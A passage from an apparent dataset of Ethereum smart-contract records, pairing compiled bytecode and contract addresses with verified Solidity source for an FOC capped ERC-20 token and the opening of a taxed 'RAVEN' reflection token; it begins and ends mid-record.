fffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e8446fa016228a9fda9d343aa979047e0155288591de49c9e0dcaccec880447f64736f6c63430006060033
{"success": true, "error": null, "results": {}}
1,754
0x36218af5c92c04d310803ce4309285fd984856ef
pragma solidity ^0.4.18; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; bool public transfersEnabledFlag; /** * @dev Throws if transfersEnabledFlag is false and not owner. */ modifier transfersEnabled() { require(transfersEnabledFlag); _; } function enableTransfers() public onlyOwner { transfersEnabledFlag = true; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) transfersEnabled public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) transfersEnabled public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) transfersEnabled public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) transfersEnabled public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) transfersEnabled public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; mapping(address => bool) public minters; modifier canMint() { require(!mintingFinished); _; } modifier onlyMinters() { require(minters[msg.sender] || msg.sender == owner); _; } function addMinter(address _addr) public onlyOwner { minters[_addr] = true; } function deleteMinter(address _addr) public onlyOwner { delete minters[_addr]; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyMinters canMint public returns (bool) { require(_to != address(0)); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title Capped token * @dev Mintable token with a token cap. */ contract CappedToken is MintableToken { uint256 public cap; function CappedToken(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyMinters canMint public returns (bool) { require(totalSupply.add(_amount) <= cap); return super.mint(_to, _amount); } } contract ParameterizedToken is CappedToken { string public version = "1.1"; string public name; string public symbol; uint256 public decimals; function ParameterizedToken(string _name, string _symbol, uint256 _decimals, uint256 _capIntPart) public CappedToken(_capIntPart * 10 ** _decimals) { name = _name; symbol = _symbol; decimals = _decimals; } } contract FOCToken is ParameterizedToken { function FOCToken() public ParameterizedToken("Fruit Origin Chain", "FOC", 18, 21000000000) { } }
0x606060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461013857806305f9bb6b1461016557806306fdde0314610192578063095ea7b31461022057806318160ddd1461027a57806323b872dd146102a3578063313ce5671461031c578063355274ea1461034557806340c10f191461036e57806354fd4d50146103c8578063661884631461045657806370a08231146104b05780637d64bcb4146104fd5780638da5cb5b1461052a57806395d89b411461057f578063983b2d561461060d578063a9059cbb14610646578063af35c6c7146106a0578063d73dd623146106b5578063d82f94a31461070f578063dd62ed3e14610748578063f2fde38b146107b4578063f46eccc4146107ed575b600080fd5b341561014357600080fd5b61014b61083e565b604051808215151515815260200191505060405180910390f35b341561017057600080fd5b610178610851565b604051808215151515815260200191505060405180910390f35b341561019d57600080fd5b6101a5610864565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e55780820151818401526020810190506101ca565b50505050905090810190601f1680156102125780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561022b57600080fd5b610260600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610902565b604051808215151515815260200191505060405180910390f35b341561028557600080fd5b61028d610a0f565b6040518082815260200191505060405180910390f35b34156102ae57600080fd5b610302600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a15565b604051808215151515815260200191505060405180910390f35b341561032757600080fd5b61032f610df0565b6040518082815260200191505060405180910390f35b341561035057600080fd5b610358610df6565b6040518082815260200191505060405180910390f35b341561037957600080fd5b6103ae600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610dfc565b604051808215151515815260200191505060405180910390f35b34156103d357600080fd5b6103db610f01565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561041b578082015181840152602081019050610400565b50505050905090810190601f1680156104485780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561046157600080fd5b610496600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f9f565b604051808215151515815260200191505060405180910390f35b34156104bb57600080fd5b6104e7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061124b565b6040518082815260200191505060405180910390f35b341561050857600080fd5b610510611294565b604051808215151515815260200191505060405180910390f35b341561053557600080fd5b61053d61135c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561058a57600080fd5b610592611382565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561061857600080fd5b610644600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611420565b005b341561065157600080fd5b610686600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114d7565b604051808215151515815260200191505060405180910390f35b34156106ab57600080fd5b6106b3611717565b005b34156106c057600080fd5b6106f5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611790565b604051808215151515815260200191505060405180910390f35b341561071a57600080fd5b610746600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506119a7565b005b341561075357600080fd5b61079e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a55565b6040518082815260200191505060405180910390f35b34156107bf57600080fd5b6107eb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611adc565b005b34156107f857600080fd5b610824600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c34565b604051808215151515815260200191505060405180910390f35b600560009054906101000a900460ff1681565b600360009054906101000a900460ff1681565b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108fa5780601f106108cf576101008083540402835291602001916108fa565b820191906000526020600020905b8154815290600101906020018083116108dd57829003601f168201915b505050505081565b6000600360009054906101000a900460ff16151561091f57600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b6000600360009054906101000a900460ff161515610a3257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610a6e57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610abc57600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b4757600080fd5b610b9982600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c2e82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d0082600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600b5481565b60075481565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610ea35750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610eae57600080fd5b600560009054906101000a900460ff16151515610eca57600080fd5b600754610ee283600054611c6d90919063ffffffff16565b11151515610eef57600080fd5b610ef98383611c8b565b905092915050565b60088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f975780601f10610f6c57610100808354040283529160200191610f97565b820191906000526020600020905b815481529060010190602001808311610f7a57829003601f168201915b505050505081565b600080600360009054906101000a900460ff161515610fbd57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156110cb576000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061115f565b6110de8382611c5490919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112f257600080fd5b600560009054906101000a900460ff1615151561130e57600080fd5b6001600560006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114185780601f106113ed57610100808354040283529160200191611418565b820191906000526020600020905b8154815290600101906020018083116113fb57829003601f168201915b505050505081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147c57600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360009054906101000a900460ff1615156114f457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561153057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561157e57600080fd5b6115d082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061166582600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561177357600080fd5b6001600360006101000a81548160ff021916908315150217905550565b6000600360009054906101000a900460ff1615156117ad57600080fd5b61183c82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6d90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a0357600080fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905550565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b3857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611b7457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60066020528060005260406000206000915054906101000a900460ff1681565b6000828211151515611c6257fe5b818303905092915050565b6000808284019050838110151515611c8157fe5b8091505092915050565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d325750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611d3d57600080fd5b600560009054906101000a900460ff16151515611d5957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611d9557600080fd5b611daa82600054611c6d90919063ffffffff16565b600081905550611e0282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820c5ecdcc474284fcd14171224165c8f4810f5b45705898424f4d09cd33315d5f30029
{"success": true, "error": null, "results": {}}
1,755
0x805e23fa7b670010ad442d6660e63c41a248951f
/** *Submitted for verification at Etherscan.io on 2022-04-21 */ /** RAVEN https://t.me/RavenETH www.raventoken.co */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract RavenToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "RAVEN";// string private constant _symbol = "RAVEN";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 11;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 11;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x638f3C0121970c7D837F387C8737AE07C68175A5);// address payable private _marketingAddress = payable(0xf874E09eD785398a8B878382e6469C9718f9243d);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 16000000000 * 10**9; // uint256 public _maxWalletSize = 33000000000 * 10**9; // uint256 public _swapTokensAtAmount = 100000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = 